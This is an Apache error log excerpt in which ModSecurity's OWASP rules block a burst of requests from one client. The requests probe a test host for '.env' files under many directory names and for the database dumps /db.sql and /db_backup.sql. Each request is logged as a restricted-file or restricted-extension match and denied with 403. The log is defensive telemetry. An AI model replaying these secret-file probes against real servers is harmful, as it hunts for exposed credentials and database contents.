[Wed Feb 25 06:04:59.109148 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chai/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpQAAAAI&quot;]
[Wed Feb 25 06:04:59.109452 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpQAAAAI&quot;]
[Wed Feb 25 06:04:59.109676 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpQAAAAI&quot;]
[Wed Feb 25 06:04:59.214091 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpgAAAAI&quot;]
[Wed Feb 25 06:04:59.214396 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpgAAAAI&quot;]
[Wed Feb 25 06:04:59.214591 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpgAAAAI&quot;]
[Wed Feb 25 06:04:59.263784 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXGAAAAAQ&quot;]
[Wed Feb 25 06:04:59.264062 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXGAAAAAQ&quot;]
[Wed Feb 25 06:04:59.264253 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXGAAAAAQ&quot;]
[Wed Feb 25 06:04:59.281430 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpwAAAAI&quot;]
[Wed Feb 25 06:04:59.281719 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpwAAAAI&quot;]
[Wed Feb 25 06:04:59.281910 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWpwAAAAI&quot;]
[Wed Feb 25 06:04:59.315629 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /charts/liveobjects/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqAAAAAI&quot;]
[Wed Feb 25 06:04:59.315901 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqAAAAAI&quot;]
[Wed Feb 25 06:04:59.316083 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqAAAAAI&quot;]
[Wed Feb 25 06:04:59.364193 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chat-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqQAAAAI&quot;]
[Wed Feb 25 06:04:59.364473 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqQAAAAI&quot;]
[Wed Feb 25 06:04:59.364661 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqQAAAAI&quot;]
[Wed Feb 25 06:04:59.425889 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXGwAAAAQ&quot;]
[Wed Feb 25 06:04:59.426461 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXGwAAAAQ&quot;]
[Wed Feb 25 06:04:59.426667 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXGwAAAAQ&quot;]
[Wed Feb 25 06:04:59.485505 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chiminey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqgAAAAI&quot;]
[Wed Feb 25 06:04:59.485799 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqgAAAAI&quot;]
[Wed Feb 25 06:04:59.485996 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWqgAAAAI&quot;]
[Wed Feb 25 06:04:59.510780 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXHAAAAAQ&quot;]
[Wed Feb 25 06:04:59.511331 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXHAAAAAQ&quot;]
[Wed Feb 25 06:04:59.511502 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXHAAAAAQ&quot;]
[Wed Feb 25 06:04:59.623504 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrAAAAAI&quot;]
[Wed Feb 25 06:04:59.623813 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrAAAAAI&quot;]
[Wed Feb 25 06:04:59.624017 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrAAAAAI&quot;]
[Wed Feb 25 06:04:59.652531 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrQAAAAI&quot;]
[Wed Feb 25 06:04:59.652808 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrQAAAAI&quot;]
